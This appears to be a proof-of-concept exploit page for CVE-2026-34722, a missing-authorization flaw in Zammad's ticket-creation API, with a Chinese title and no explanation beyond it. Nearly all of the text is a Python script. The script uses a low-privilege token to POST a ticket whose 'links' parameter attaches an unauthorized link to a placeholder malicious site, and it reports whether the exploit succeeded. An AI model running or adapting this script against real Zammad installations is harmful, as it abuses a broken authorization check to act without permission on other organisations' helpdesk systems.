CVE-2026-34722 Zammad工单创建端口授权缺失漏洞

import requests # Target URL (Zammad installation) target_url = "http://target-zammad-instance.com/api/v1/tickets" # Headers with low-privilege authentication token headers = { "Authorization": "Token low_priv_user_token_here", "Content-Type": "application/json" } # Payload exploiting the missing authorization on 'links' parameter payload = { "title": "Exploit Test Ticket", "group": "Users", "customer": "[email protected]", "article": { "subject": "Test Article", "body": "Testing the vulnerability." }, # Vulnerable parameter: Adding a link without proper authorization check "links": { "target": "http://malicious-site.com", "type": "child" } } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 201: print("[+] Exploit successful! Ticket created with unauthorized link.") print("Response:", response.json()) else: print("[-] Request failed or patched.") print("Status Code:", response.status_code) print("Response:", response.text) except Exception as e: print(f"Error: {e}")